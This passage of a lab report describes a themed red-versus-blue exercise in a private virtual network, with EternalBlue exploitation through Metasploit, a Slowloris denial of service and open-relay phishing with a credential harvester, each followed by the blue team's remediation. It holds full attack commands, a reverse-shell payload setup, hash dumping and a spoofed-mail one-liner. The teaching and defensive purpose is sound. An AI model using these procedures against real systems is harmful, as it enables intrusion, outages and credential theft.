to ‘/var/ossec/logs/active-responses.log’. This ensures that as domain-joined

machines come online and their Wazuh agents register with the manager, they are automatically granted access to the intranet without any manual firewall rule management.

This script works in conjunction with blueTeamIntraVM's implicit-deny firewall posture configured in [Section 2.4.2.4](#) and the static SSH access rules that permit administrative access from blueTeamADVM and blueTeamSOCVM. Any host that does not have a registered Wazuh agent, including redTeamXUVM and any other non-domain-joined machine on the LAN (OpenVPN) network, will not receive an allow rule and will therefore be unable to reach the intranet on ports 80 or 443. The SSH connection from blueTeamSOCVM to blueTeamIntraVM requires a pre-generated SSH key pair, with the public key installed in blueTeamIntraVM's 'authorized\_keys' file for the 'administrator' account and the private key stored at '/var/ossec/.ssh/id\_rsa' on 'blueTeamSOCVM'.

Notes:

For the SSH connection to function, the public key must be added to blueTeamIntraVM before the script is executed ([See Section 2.4.5.4](#)).

#### 2.7.7. *plankton\_phish\_demo.py*

'plankton\_phish\_demo.py' is located on redTeamXUVM and is executed manually from the terminal by the attacker during the phishing attack ([See Section 3.3](#)). It is a standalone Python 3 script that sends a set of phishing emails to domain users' mailboxes over SMTP using

MailEnable's open relay on port 25 of blueTeamADVM ('10.8.0.10'). The script requires no authentication to the mail server because MailEnable's base configuration permits unauthenticated relay from any host on the network. Before running the script, the attacker must set two variables at the top of the file: 'MAIL\_SERVER' (the IP of blueTeamADVM) and 'REDTEAM\_IP' (the IP of redTeamXUVM, where 'harvester.py' is listening). The script sends phishing emails across four categories, each designed to test a different vector of social engineering. Category 1, 'Internal Address Spoofing', sends emails with 'From:' addresses set to legitimate internal addresses such as 'eugene.krabs@krustykrab.local' and 'larry.lobster@krustykrab.local', exploiting the open relay to deliver messages that appear to originate from trusted colleagues. Category 2, 'External Authority Spoofing', sends emails from plausible external addresses (a health inspector, a vendor support address, etc.), exploiting recipients' tendency to comply with authority figures. Category 3, 'Display Name Spoofing', sends emails where the 'From:' display name matches a trusted internal person but the actual sending address is an external domain (e.g., 'Mr. Krabs <eugene.krabs@chum-bucket.com>'), exploiting mail clients that display only the display name rather than the full address. Category 4, 'Generic Spam and Malware Lures', sends prize notifications, fake invoices, and password reset lures that do not rely on internal identity at all.

Each email contains a link to ‘http://[REDTEAM\_IP]/login’, which points to the credential harvester described in [Section 2.7.7](#). If the phishing simulation script (‘phishing\_simulation.ps1’) running on a domain-joined machine evaluates one of these emails and determines that the simulated user would click the link, it submits the user’s credentials to the harvester. The script prints a real-time ‘[SENT]’ or ‘[BLOCKED]’ result for each attempt and produces a summary on completion showing how many emails reached the mail server versus how many were rejected. Two versions of this script exist in the repository: ‘plankton\_phish\_demo-FUNCTIONAL.py’ (the base snapshot version, which reaches the mail server successfully due to MailEnable’s open relay) and ‘plankton\_phish\_demo-SECURE.py’ (an extended version that adds three additional Category 1 and Category 3 emails targeting ‘Larry.Lobster’ and ‘Eugene.Krabs’ to test the firewall allow-list more exhaustively). Both versions are functionally identical in their sending logic; the secure version simply includes a broader set of phishing attempts to demonstrate the blocking behavior of the SMTP firewall synchronization script ([See Section 2.7.5](#)).

#### 2.7.8. *harvester.py*

‘harvester.py’ is located on redTeamXUVM and is executed manually from the terminal before running the phishing demonstration, as it must be listening when simulated users click phishing links. It is a Python 3 Flask [21] application that listens on ‘0.0.0.0:80’ and serves a

convincing replica of the intranet login page, styled to match the intranet's appearance, branded with the 'krustykrab.local' domain, and pre-populated with a session-expiry banner that adds urgency to the credential prompt. Because it binds port 80, it must be run with 'sudo python3 harvester.py'.

When a victim (real or simulated) submits credentials via the fake login form, the script's '/login' POST handler extracts the submitted username, password, source IP address, and User-Agent string, prints them to the terminal in real-time with ANSI color formatting for immediate visibility, and appends a time-stamped entry to a local log file at 'captured\_creds.log' in the same directory. The victim's browser is then served a confirmation page that says "Session Verified" and redirects back to the login page after three seconds, a detail designed to prevent the victim from becoming suspicious and to allow the simulation script's HTTP response detection to confirm the submission succeeded. The server also responds to 'wp-admin/verify' and serves the fake login page for any other URL that does not match a defined route, so any variant of the harvester link embedded in a phishing email resolves to a plausible credential page.

Notes:

The 'flask' package must be installed on redTeamXUVM before running the harvester: 'pip3 install flask'. If port 80 is unavailable or 'sudo' access is not present, the 'PORT' variable at the top of the script

may be changed to an unprivileged port such as 8080, and the  
‘\$FakeIntranetUrl’ variable in ‘phishing\_simulation.ps1’ must be updated  
to match.

## Section #3: Red Team Versus Blue Team

### **3. Red Team Versus Blue Team**

#### 3. Red Team Versus Blue Team

##### 3.1. Remote Access Attack

###### 3.1.1. Red Team Process

###### 3.1.2. Blue Team Process

##### 3.2. DoS Attack

###### 3.2.1. Red Team Process

###### 3.2.2. Blue Team Process

##### 3.3. Phishing Attack

###### 3.3.1. Red Team Process

###### 3.3.2. Blue Team Process

### *3.1. Remote Access Attack*

#### *3.1.1. Red Team Process*

##### *3.1.1.1. Identification of Vulnerability*

The 'Remote Access' attack targets blueTeamWin7VM, a Windows 7 Professional host that is domain-joined and reachable from any other machine on the LAN (OpenVPN) network. Windows 7 reached end-of-support in January 2020, and its base configuration in this environment, no post-release patches applied, leaves it exposed to a class of vulnerabilities for which Microsoft has long since released fixes but which remain exploitable on unpatched hosts.

The first step taken by Plankton on the attacker machine after connecting to the network is to identify active hosts and determine what is running on them. He does this by running a host-discovery and service-version scan across the network (OpenVPN subnet) using 'sudo nmap -sV -O 10.8.0.0/24' ([Figure 3.1.1.1.1](#)). This scan reveals the active hosts on the network along with their open ports, service banners, and operating system fingerprints. blueTeamWin7VM [Win7IP] returns open TCP ports 135 (RPC), 139 (NetBIOS), and 445 ('SMB'), and nmap's OS fingerprinting identifies the host as a Windows machine. The presence of ports 139 and 445 is immediately significant as these

are the ports on which the SMBv1 service listens, and which EternalBlue targets.

To confirm the vulnerability, Plankton ran nmap's 'SMB' vulnerability detection script against the target using 'sudo nmap -p 445 --script smb-vuln-ms17-010 [Win7IP]' ([Figure 3.1.1.1.2](#)). The output confirms that [Win7IP] is vulnerable to 'MS17-010', the Microsoft Security Bulletin designation for the 'EternalBlue' family of vulnerabilities. The script reports the vulnerability as 'VULNERABLE' with a risk factor of 'HIGH' and notes that the host has not applied the patch that Microsoft released in March 2017 as part of the 'MS17-010' bulletin. For Plankton, this is the most valuable result possible, remote access potential requiring no user interaction and no credentials.

Notes:

If nmap is not installed, install with 'sudo apt install nmap'. If installation fails, it could possibly be due to a dependency missing. In our case, we needed to install the missing 'libssh2-1t64' package using 'sudo apt update && sudo apt install libssh2-1t64 -y' ([Figure 3.1.1.1.3](#)).

If the vulnerability scan fails, or says 'host seems down', try using the '-Pn' option. It is possible that the client machine is using the 'Public' firewall profile and is filtering the traffic.

#### 3.1.1.2. *Attack Theory*

‘EternalBlue’ exploits a critical flaw in the way Windows handles certain ‘SMBv1’ protocol messages. Specifically, the vulnerability resides in how the Windows ‘SMB’ server (‘srv.sys’) processes transaction sub-commands: a specially crafted packet causes an integer overflow in the buffer management logic, which can be leveraged to write attacker-controlled data into kernel memory and redirect execution to attacker supplied shell-code. The result is unauthenticated remote code execution in the context of the ‘SYSTEM’ account (highest local privilege).

The vulnerability was originally developed by the NSA as an offensive tool code-named ‘EternalBlue’, and was stolen and publicly released by the ‘Shadow Brokers’ group in April 2017. Microsoft issued ‘MS17-010’ two months prior, but the short window between patch availability and public exploit release, combined with the enormous installed base of unpatched Windows systems, contributed directly to the scale of the May 2017 ‘WannaCry’ ransomware outbreak [19]. ‘WannaCry’ used ‘EternalBlue’ to propagate laterally across networks without any user interaction, encrypting files on every reachable unpatched host. In our environment, redTeamXUVM’s presence on the network gives it direct network connectivity to all other machines, including blueTeamWin7VM.

The Metasploit Framework includes an implementation of the ‘EternalBlue’ exploit (‘exploit/windows/smb/ms17\_010\_eternalblue’) paired with a ‘Meterpreter’ payload that establishes an interactive reverse shell from the compromised host back to the attacker. Once the ‘Meterpreter’ session is established, the attacker has interactive access to the target with ‘SYSTEM’ privilege, which can be used to read files, dump credentials, install programs, establish persistence, and pivot to other hosts.

#### 3.1.1.3. *Demonstration of Attack*

Plankton opened ‘msfconsole’ on redTeamXUVM and loaded the EternalBlue exploit module ([Figure 3.1.1.3.1](#)):

- ‘msfconsole’
- ‘use exploit/windows/smb/ms17\_010\_eternalblue’

He then configured the required options, setting the target host and the local listener address ([Figure 3.1.1.3.2](#)):

- ‘set RHOSTS [Win7IP]’
- ‘set LHOST [XUVMIP]’
- ‘set PAYLOAD windows/x64/meterpreter/reverse\_tcp’

He then launched the exploit using ‘run’ and Metasploit’s exploit module sent the crafted ‘SMBv1’ packets to blueTeamWin7VM. Within seconds, the ‘SMBv1’ server on the target processed the malformed transaction, triggering the buffer

overflow, and the injected shell-code executed. A Meterpreter session opened in 'msfconsole', confirming that the reverse TCP connection from blueTeamWin7VM to redTeamXUVM had been established ([Figure 3.1.1.3.3](#)). To verify the access level, Plankton ran 'getuid' ([Figure 3.1.1.3.4](#)). The output confirmed the 'SYSTEM' access, and using this access (demonstrating the severity) he dumped all locally cached password hashes ([Figure 3.1.1.3.5](#)). These hashes may be cracked offline or used directly in future pass-the-hash attacks against other hosts on the network for lateral movement.

### *3.1.2. Blue Team Process*

#### *3.1.2.1. Identification of Vulnerability*

The blue team identifies the 'EternalBlue' vulnerability through a proactive vulnerability scan rather than through detection of an active attack. On blueTeamSOCVM, Larry opened the 'Greenbone Vulnerability Manager (GVM)' web interface and added [Win7IP] (blueTeamWin7VM) as a scan target ([Figure 3.1.2.1.1](#)). He then created a new scan task targeting this host, selected the 'Full and fast' scan configuration, and started the task ([Figure 3.1.2.1.2](#)).

When the scan completed, GVM generated a vulnerability report listing discovered weaknesses ranked by 'CVSS severity score' ([Figure 3.1.2.1.3](#)). Among the findings, the report identified

the 'MS17-010' ('EternalBlue') vulnerability on port 445 with a 'CVSS' score of 9.8 (critical), along with several additional high-severity findings related to the absence of post-release Windows security updates.

This finding directly maps to the red team's 'nmap --script smb-vuln-ms17-010' result (the same vulnerability), identified from the blue team's perspective through scanning rather than through reconnaissance. The OpenVAS finding provides actionable remediation guidance: apply Microsoft's security update 'MS17-010' and disable 'SMBv1' if it is not required for legitimate business operations (it isn't in our environment).

#### *3.1.2.2. Remediation Process*

The remediation for the 'EternalBlue' vulnerability is straightforward: apply the patches Microsoft released in 'MS17-010' and any subsequent security updates. For blueTeamWin7VM, this means downloading the security updates manually directly from the Windows Update Catalog, due to the Windows Update tool not being functional on Windows 7 machines anymore.

On blueTeamWin7VM, Larry opened the mypal browser and navigated to 'catalog.update.microsoft.com' ([Figure 3.1.2.2.1](#)). After some research, Larry determined the necessary Windows 'Knowledge Base' updates, ([Figure 3.1.2.2.2](#)). Critically, among

these updates, he downloaded the ‘KB’ update associated with Windows ‘Service Pack One’ for Windows 7, ‘KB976932’ ([Figure 3.1.2.2.3](#)). The installation process required several reboots to complete as patches were applied.

### *3.1.2.3. Demonstration of Security*

With the Windows 7 machine patched and ‘SMBv1’ disabled, we repeated the red team’s attack sequence from redTeamXUVM. We first re-ran the nmap ‘SMB’ vulnerability detection script using ‘sudo nmap -p 445 -Pn -d --script smb-vuln-ms17-010 [Win7IP]’ ([Figure 3.1.2.3.1](#)). The output now returned ‘...This system is likely patched...’ for ‘MS17-010’ ([Figure 3.1.2.3.2](#)). In this case, when Plankton attempts the Metasploit exploit sequence, loading ‘exploit/windows/smb/ms17\_010\_eternalblue’, setting ‘RHOSTS’, ‘LHOST’, and the payload identically to the base snapshot demonstration, and running the exploit, the module reported that the target did not respond to the ‘SMBv1’ protocol negotiation and no ‘Meterpreter’ session was established ([Figure 3.1.2.3.3](#)).

## *3.2. DoS Attack*

### *3.2.1. Red Team Process*

#### *3.2.1.1. Identification of Vulnerability*

The denial-of-service attack targets blueTeamIntraVM (‘10.8.0.9’), the ‘Apache’/‘WordPress’ web server hosting the

intranet. The scenario models a network-joined attacker, physically present in the building, who has connected to an open ethernet port to gain access to the network. The attack is especially effective for ‘flat’ networks (networks with no segmentation).

The first step after Plankton connected to the network was host discovery and service enumeration. From redTeamXUVM, he ran a full port scan with service version detection against the LAN using ‘sudo nmap -sV -p- 10.8.0.0/24’ ([Figure 3.2.1.1.1](#)). The scan identified ‘10.8.0.9’ (blueTeamIntraVM) as an active host with ports 80 (HTTP) and 443 (HTTPS) open. The service banner on port 80 identified the web server as ‘Apache’ running on Ubuntu Linux. To further enumerate the web application, Plankton ran nmap’s HTTP enumeration scripts ([Figure 3.2.1.1.2](#)):

- ‘sudo nmap -p 80,443 --script  
http-title,http-server-header,http-headers 10.8.0.9’

The results revealed that the root path on port 80 redirected to a sign in page at ‘wp-login.php’, identifying the application as a WordPress implementation. The page title returned ‘Krusty Krab Intranet - Sign in’, confirming the nature and purpose of the target. The ‘Server:’ response header explicitly advertised ‘Apache/2.4.x (Ubuntu)’, providing version information.

With ‘Apache’ confirmed as the web server, Plankton identified the ‘Slowloris’ vulnerability. Apache’s default

configuration uses a process- or thread-per-connection concurrency model with finite connection limit. A Slowloris attack exploits this model by opening a large number of HTTP connections to the server and holding each one open for as long as possible by sending only partial HTTP headers to keep the server's time-out from closing the connection while not completing the request. Once all of the server's available connections are occupied by these slow, incomplete requests, legitimate clients can no longer connect. The server is not crashed, it is simply fully occupied with attacker-controlled connections and unable to serve real traffic. The attack requires no authentication, no exploitation of software bugs, and minimal bandwidth.

#### 3.2.1.2. *Attack Theory*

The 'Slowloris' attack was first documented by Robert 'RSnake' Hansen in 2009 and remains effective against servers using synchronous connection handling, where each concurrent connection consumes persistent server resources (a thread or process). Apache's default 'mpm\_prefork' and 'mpm\_worker' modules are both susceptible because they maintain a bounded pool of worker processes or threads, and 'Slowloris' is designed specifically to exhaust that pool.

The attack works in three phases. First, the attacker opens a connection to the target web server and sends a partial HTTP

request, for example, 'GET / HTTP/1.1\r\nHost: 10.8.0.9\r\n', stopping short of the blank line ('\r\n\r\n') that would signal the end of the request headers and cause Apache to process and respond to the request. Second, at regular intervals, the attacker sends additional partial header lines to each open connection (e.g., 'X-a: b\r\n') to reset the server's idle time-out without completing the request. Third, this process is repeated across hundreds of connections simultaneously. Each connection is in an 'open but incomplete' state that Apache cannot recycle until the connection is fully closed, which the attacker prevents by keeping it 'alive' with the 'keep-alive' sends.

In the base configuration of blueTeamIntraVM, there are no rules restricting who may connect to ports 80 and 443, meaning any host on the LAN, including non-domain-joined machines like redTeamXUVM, can reach the intranet server.

#### 3.2.1.3. *Demonstration of Attack*

The tool used for this demonstration is 'Slowloris', a Python-based tool. Plankton installed it and ran the attack against blueTeamIntraVM using 'slowloris 10.8.0.9 -s 661 --sleeptime 8'

([Figure 3.2.1.3.1](#)). The flags used:

- '10.8.0.9' - the IP of the target

- ‘-s 661’ - the number of socket connections on the attacker to open against the target (chosen after testing to ensure saturation)
- ‘--sleeptime 8’ - the interval in seconds between keep-alive sends on each open connection (chosen to prevent the server from closing idle connections)

As Slowloris opened connections, the terminal on redTeamXUVM showed the socket count climbing until it reached the configured maximum ([Figure 3.2.1.3.2](#)). To verify the impact, we navigated to the Apache server status page via the web browser on blueTeamIntraVM and observed the number of idle Apache workers, and attempted to sign into the intranet from blueTeamWin10VM (a legitimate client) in Firefox while the attack was running ([Figure 3.2.1.3.3](#)). The output from the watch command showed that the web server was completely saturated with 0 idle workers, and the sign in request took a much longer time than it did before the attack was running, also confirming the attack was successful. The attack did not crash the server; the Apache process remained running and functional. Once we terminated the Slowloris process, the held connections were released and the intranet immediately became fully responsive ([Figure 3.2.1.3.4](#)).

### *3.2.2. Blue Team Process*

#### *3.2.2.1. Identification of Vulnerability*

The blue team identifies the DoS vulnerability through two complementary observations: the absence of access controls on the intranet's HTTP and HTTPS ports, and the exposure of the Apache service to any network-joined host regardless of whether that host is registered and trusted.

On blueTeamSOCVM, the Wazuh Manager's view of connected agents shows that redTeamXUVM has no registered agent ([Figure 3.2.2.1.1](#)). On blueTeamIntraVM, running 'sudo ufw status verbose' reflects the default configuration of Ubuntu with the inactive status of the firewall ([Figure 3.2.2.1.2](#)). Any host that can reach the machine on the LAN can attempt to connect to the web server, whether or not it is a legitimate domain-joined client.

The combination of unrestricted web server access and Apache's synchronous concurrency model constitutes the exploitable condition. An attacker does not need to exploit a software bug to cause an outage, they need only exhaust the server's finite worker capacity, which is possible without any privileges simply by opening enough connections.

#### *3.2.2.2. Remediation Process*

The remediation process has two components: enforcing source IP restrictions on ports 80 and 443 so that only registered

and trusted hosts can reach the intranet, and ensuring that the allow-list is maintained dynamically to adapt to hosts joining and leaving the network rather than requiring manual rule management.

The first component is the firewall implicit-deny posture and static allow rules configured in [Section 2.4.2.4](#). The second component is the ‘sync-agents-ufw.sh’ script running on blueTeamSOCVM ([See Section 2.7.6](#)), which is invoked by the Wazuh Manager’s active-response framework whenever individual agent statuses change. When a domain-joined machine’s Wazuh agent connects to the Manager, ‘sync-agents-ufw.sh’ SSHes into blueTeamIntraVM and adds a UFW allow rule for that machine’s IP on ports 80 and 443. Because redTeamXUVM has no registered Wazuh agent, it never appears in the agent list, and no allow rule is ever created for its IP address. The result is that redTeamXUVM is silently denied access to the intranet at the firewall level without any additional configuration.

#### 3.2.2.3. *Demonstration of Security*

With the secure snapshot active, UFW implicit-deny posture applied, ‘sync-agents-ufw.sh’ having populated allow rules for all registered Wazuh agents, and redTeamXUVM absent from the agent list, we repeated the Slowloris attack from redTeamXUVM using the same command ([Figure 3.2.2.3.1](#)). This

time, Slowloris was unable to open connections to port 80 or port 443 on blueTeamIntraVM ([Figure 3.2.2.3.2](#)). The implicit-deny rule resulted in blueTeamIntraVM silently dropping the incoming connection attempts before they reached Apache, so no worker threads were consumed. The socket count in Slowloris's output remained at zero. From blueTeamWin10VM (a legitimate registered client with a UFW allow rule), users were able to sign in without any issues ([Figure 3.2.2.3.3](#)), demonstrating that the firewall's source-IP allow-list had no impact on legitimate traffic while completely blocking attacker connection attempts.

We additionally verified the allow-list on blueTeamIntraVM by running 'sudo ufw status verbose' ([Figure 3.2.2.3.4](#)). The output showed allow rules for each registered Wazuh agent's IP address on ports 80 and 443, no rule for [XUVMIP], and the default deny for incoming traffic.

### 3.3. *Phishing Attack*

#### 3.3.1. *Red Team Process*

##### 3.3.1.1. *Identification of Vulnerability*

The phishing attack targets the domain users of the 'Krusty Krab' organization (e.g., 'SpongeBob SquarePants') whose mailboxes are hosted on blueTeamADVM's MailEnable mail server at '10.8.0.10'. The vulnerability being exploited is MailEnable's default open relay configuration, which permits any

host on the same network to send emails as any address without authentication, combined with the absence of any sender authentication controls (SPF, DKIM, DMARC) on the 'krustykrab.local' domain.

Plankton begins, as before, with host discovery and service enumeration from redTeamXUVM. The nmap scan of the subnet ([See Section 3.2.1.1](#)) identified blueTeamADVM ('10.8.0.10') as an active host. A deeper port scan revealed port 25 (SMTP) open ([Figure 3.3.1.1.1](#)):

- 'sudo nmap -p 25,110,143,465,587,993 -sV 10.8.0.10'

The scan confirmed port 25 open and the service banner identified 'MailEnable' as the mail server software. To test relay behavior and enumerate valid addresses, Plankton connected to the mail server's SMTP port directly using 'sudo nc -C 10.8.0.10 25' ([Figure 3.3.1.1.2](#)). MailEnable responded with its SMTP greeting banner. Plankton, knowing at least one employee's name from prior reconnaissance (or from publicly available information such as a LinkedIn profile), then issued a 'VRFY' command to test user enumeration using 'VRFY

SpongeBob.SquarePants@krustykrab.local' ([Figure 3.3.1.1.3](#)).

MailEnable responded with a '250' status code confirming the address is valid. The 'VRFY' command acceptance confirms two things for Plankton: that the mail server will enumerate valid

recipient addresses on request, and that the 'FirstName.LastName@krustykrab.local' naming convention is being used, allowing him to enumerate addresses for the name of any likely employee he knows or discovers.

To test open relay directly, Plankton attempted to send an email from redTeamXUVM without providing any credentials ([Figure 3.3.1.1.4](#), [Figure 3.3.1.1.5](#)):

- `'python3 -c 'import smtplib; s=smtplib.SMTP("10.8.0.10", 25); s.ehlo(); s.sendmail("plankton@krustykrab.local", ["eugene.krabs@krustykrab.local"], "Subject: Secret Formula\n\nGive me the formula Mr. Krabs!"); print("sent"); s.quit()'`

The mail was accepted without authentication, confirming the open relay.

### 3.3.1.2. *Attack Theory*

Phishing is the practice of using deceptive communications (typically email) to manipulate targets into taking some action desired by the attacker: clicking a malicious link, providing credentials, downloading a malicious attachment, or disclosing sensitive information. It is widely considered the most prevalent attack vector in real-world cyberattacks, as it primarily exploits people rather than machines; no patch truly removes an organization's susceptibility to well-crafted email attacks.

In this environment, Plankton's attack leverages MailEnable's open relay to send spoofed emails that appear to originate from trusted internal addresses (employees). Because the 'krustykrab.local' domain does not implement SPF (which would restrict which mail servers are allowed to send mail on behalf of the domain), DKIM (which would cryptographically sign out-bound mail), or DMARC (which would instruct receiving mail servers to reject or quarantine mail that fails SPF/DKIM checks), a spoofed 'From:' header is indistinguishable from a legitimately sent message to the recipient's mail client.

The attack uses four categories of spoofed identity:

- Internal address spoofing - the 'From:' address is set to a legitimate internal address like [eugene.krabs@krustykrab.local](mailto:eugene.krabs@krustykrab.local), which bypasses the general skepticism toward external senders and makes authority and urgency appeals more effective
- External authority spoofing - the 'From:' address is set to a plausible external entity (a health inspector, bank, etc.) whose authority the recipient would respect
- Display name spoofing - the 'From:' display name is set to a trusted name, but the actual sending address is an external domain, exploiting mail clients that reveal only the display name in some views rather than the full 'address@domain'

- Generic spawn and malware lures - the email does not rely on any internal or authority identity at all, instead using generic incentives (prize notifications, invoices, password-reset prompts) to induce a click”

Each phishing email contains a link to ‘http://[XUVMIP]/login’, the credential harvester running on redTeamXUVM, which serves a convincing replica of the intranet sign-in page ([Figure 3.3.1.2.1](#), [Figure 3.3.1.2.2](#)).

#### 3.3.1.3. *Demonstration of Attack*

Plankton first started the credential harvester script on redTeamXUVM ([See Section 2.7.8](#)) using ‘sudo python3 harvester.py’ ([Figure 3.3.1.3.1](#)). With the harvester running, Plankton then executed the phishing script ([See Section 2.7.7](#)) by running ‘python3 plankton\_phish\_demo-FUNCTIONAL.py’. The script connected to the MailEnable SMTP server on ‘10.8.0.10:25’ without authentication and delivered all ten phishing emails across the four categories ([Figure 3.3.1.3.2](#)). The terminal output showed ‘[SENT]’ for each message, confirming that all ten were accepted by the open relay, and the summary reported that zero were blocked ([Figure 3.3.1.3.3](#)).

On blueTeamWin10VM, the phishing simulation script (‘phishing\_simulation.ps1’) running as ‘Eugene.Krabs’ processed his inbox on its next five-minute cycle. Evaluating the spoofed

‘SECURITY ALERT: Unauthorized Access Attempt on Payroll System’ email attributed to ‘Larry.Lobster’, the script’s AI-driven decision logic, including the user’s competence score, mood modifier, and vulnerability profile, determined that the user would not identify the email as malicious. The simulation script generated an HTTP POST to the harvester URL embedded in the email body, submitting the user’s credentials ([Figure 3.3.1.3.4](#)), and on the terminal of redTeamXUVM, the harvester printed the captured credentials in real-time.

### *3.3.2. Blue Team Process*

#### *3.3.2.1. Identification of Vulnerability*

The blue team identifies the phishing vulnerability at the infrastructure level before any phishing email is sent: the absence of host-based SMTP access controls on blueTeamADVM combined with MailEnable’s open relay configuration means that any host on the LAN can connect to port 25 and deliver mail as any address to any address. This is the same observation Plankton makes during his reconnaissance, but from the defensive perspective.

Additionally, a network-level observation running a series of commands on blueTeamADVM confirms that there are no restrictions on incoming or outbound SMTP traffic due to the

default MailEnable inbound rule ([Figure 3.3.2.1.1](#)), meaning any host on the network can reach the SMTP port:

- ‘Get-NetFirewallRule -DisplayName “\*SMTP\*” |  
Select-Object DisplayName, Enabled’
- ‘Get-NetFirewallRule -DisplayName “\*SMTP\*” |  
Get-NetFirewallPortFilter | Select-Object Protocol,  
LocalPort, RemotePort’
- ‘Get-NetFirewallRule -DisplayName “\*SMTP\*” |  
Get-NetFirewallAddressFilter | Select-Object  
LocalAddress, RemoteAddress’

#### 3.3.2.2. *Remediation Process*

The secure snapshot addresses the phishing vulnerability through a layered set of controls. The first control is the SMTP firewall synchronization implemented through ‘Sync-SMTPFirewall.ps1’ running on blueTeamADVM via the ‘KK-SyncSMTPFirewall’ scheduled task ([See Section 2.7.5](#)). This script dynamically maintains a Windows Firewall allow-list for inbound connections on port 25, restricting SMTP access to domain-joined machines only. Because redTeamXUVM is not domain-joined, its IP address is not included in the allow-list, and its connection attempts to port 25 are silently dropped by the firewall before reaching MailEnable.

The second control is the behavioral detection and escalation chain embedded in the secure version of ‘phishing\_simulation.ps1’ ([See Section 2.6.3.3](#)). In the secure snapshot, the simulation script’s decision logic includes the possibility that a user will correctly identify a phishing email and forward it to ‘[Sandy.Cheeks@krustykrab.local](#)’ for IT review. Sandy’s script escalates user reported emails to ‘[Larry.Lobster@krustykrab.local](#)’ (the security officer), who evaluates the sender, subject, and body using AI-driven analysis and takes action based on whether the sender is external or internal. The designated training email subject line in the secure script also enables the delivery of simulated phishing training emails that variably improve users’ competence depending on the effectiveness of the email, causing them to become progressively more likely to correctly identify real phishing attempts in future rounds.

The third control is the active-response framework on blueTeamSOCVM. If a phishing email succeeds in tricking a simulated user to run a malicious attachment or execute a suspicious process, Wazuh’s custom detection rules ([See Section 2.5.3.1](#)) may fire, and depending on the rule, trigger ‘kill-process.sh’ on blueTeamSOCVM, sending an alert email to ‘[Larry.Lobster@krustykrab.local](#)’, and triggering

‘kill-process-agent.cmd’ on the affected user’s machine, killing the process.

Note:

If the phishing simulation tasks begin to fail to send emails at some point after deploying the firewall synchronization task, it may be because the task is no longer able to find the synchronization script in the ‘Scripts’ folder on the ‘C:’ drive, or is otherwise failing to fully execute. Verify the task is completing without any errors and verify the integrity of the ‘Scripts’ directory.

#### 3.3.2.3. *Demonstration of Security*

First, to demonstrate that the emails are now blocked by the implicit deny rule on blueTeamADVM, and to reflect the addition of the new employee in the secure snapshot, we executed ‘plankton\_phish\_demo-SECURE.py’ from redTeamXUVM ([Figure 3.3.2.3.1](#)). To demonstrate the escalation chain, we executed the same script from blueTeamADVM (a domain-joined machine that is in the SMTP allow-list) to simulate an internal attacker or compromised host sending phishing emails from within the allowlist perimeter ([Figure 3.3.2.3.2](#)). On the next simulation cycle, the phishing simulation script running as ‘Eugene.Krabs’ correctly identified the email as suspicious and forwarded it to ‘[Sandy.Cheeks@krustykrab.local](#)’ ([Figure 3.3.2.3.3](#)). Sandy

escalated the email to Larry ([Figure 3.3.2.3.4](#)), who analyzed the sender address and determined it was external. Larry performed a threat assessment (using AI), classified the email as a high-threat phishing attempt, and sent an alert to all non-security staff warning them to not click any links or reply to suspicious emails and to report anything unusual ([Figure 3.3.2.3.5](#)). Larry also briefed the owner on the phishing campaign and its potential business impact, and sent IT (Sandy) a summary of his findings ([Figure 3.3.2.3.6](#), [Figure 3.3.2.3.7](#)).

## Section #4: Discussion & Findings

## **4. Discussion & Findings**

### [4. Discussion & Findings](#)

#### [4.1. Findings](#)

#### [4.2. Notable Issues](#)

#### [4.3. Limitations](#)

#### [4.4. Future](#)

#### *4.1. Findings*

The principal finding of this project is that behavioral detection and response is critically important for multiple reasons. Detection and response compensates for unknown or unpatched vulnerabilities, even when individual hosts remain compromised. The secure snapshot is not free of vulnerabilities and there are many weaknesses still present. The secure snapshot adds visibility and reaction: Sysmon telemetry forwarded by Wazuh agents, evaluated against rules on the Wazuh Manager, dispatching alert emails and active-response process termination when matched. Ultimately, malware and malicious actors will take some malicious actions or otherwise demonstrate suspicious behavior, prompting an alert to the SOC and a subsequent investigation, which may prove to be the difference between a small incident and a large breach. An environment whose only protection is patching is brittle in proportion to the diligence of patching and either assumes that there are no legacy applications or systems or does little mitigate the risks, while an environment with comprehensive logging and automated response stands a much better chance of meaningfully reducing the splash zone, or preventing a breach altogether.

The second finding concerns the practicality of the environment itself. VirtualBox snapshots proved to be an unusually effective fit for this project: an entire environment with unique individual configurations can be captured at different stages, attacked, infected, or otherwise destroyed, and rolled back in seconds. Combined with cloud-hosted networking infrastructure, in our case the

OpenVPN server on a low-power EC2 instance, the lab becomes accessible from anywhere, hardware-portable across the team, and fully disposable. The cost is relatively small compared to the benefits gained and the set-up is reproducible end-to-end from the documentation in Section #2.

#### 4.2. *Notable Issues*

Throughout the duration of this project we encountered more issues than we could reasonably document in this report. We did not document the issues as we encountered them, but, from memory, troubleshooting GPO-based software deployment failure consumed a significant amount of time, along with corrupted virtual machines, software version mismatches, and trial-and-error configurations of different services. In addition, DNS configuration across all machines proved to be a consistent source of issues. For example, joining blueTeamIntraVM to the Active Directory domain over the OpenVPN tunnel required the OpenVPN interface to use the domain controller as its DNS server, and that the change persists across reboots. Default OpenVPN installs on modern Ubuntu do not configure 'systemd-resolved' correctly and silently fall back to upstream DNS, causing intermittent SSSD offline-mode behavior and lookup failures. In addition, on blueTeamADVM, the VirtualBox NAT IP resulted in an additional 'A' record being registered, causing confusion for clients seeking to join, that we could not find a way to reliably prevent.

OpenVPN's own version compatibility constraints also significantly impacted the project. It took a non-trivial amount of time to troubleshoot the initial issues with the Windows 7 machine being unable to connect to the server

despite having the certificate. It was necessary to do some research to figure out what version of Angristan's OpenVPN server to download in order to support the more modern clients as well as the Windows 7 machine.

E-mail spoofing prevention via MailEnable was not solvable through MailEnable's own configuration in the way this project required. Some scripts in the simulation legitimately spoof sender addresses in order to drive the attack scenarios; disabling open relay entirely would break those. Our partial solution, involving restricting which hosts can reach port 25 at the Windows Firewall level via a scheduled task that synchronizes the allow-list against domain-joined computer accounts, restricts spoofing to authorized internal machines but sacrifices communication with external clients. It also does not, on its own, prevent a compromised domain-joined host from spoofing any internal address; this gap is partially addressed at the application layer by the sender-verification mechanism described in [Section 2.6.3.3](#), which lets Larry distinguish a spoofed internal address from a genuine compromise.

#### 4.3. *Limitations*

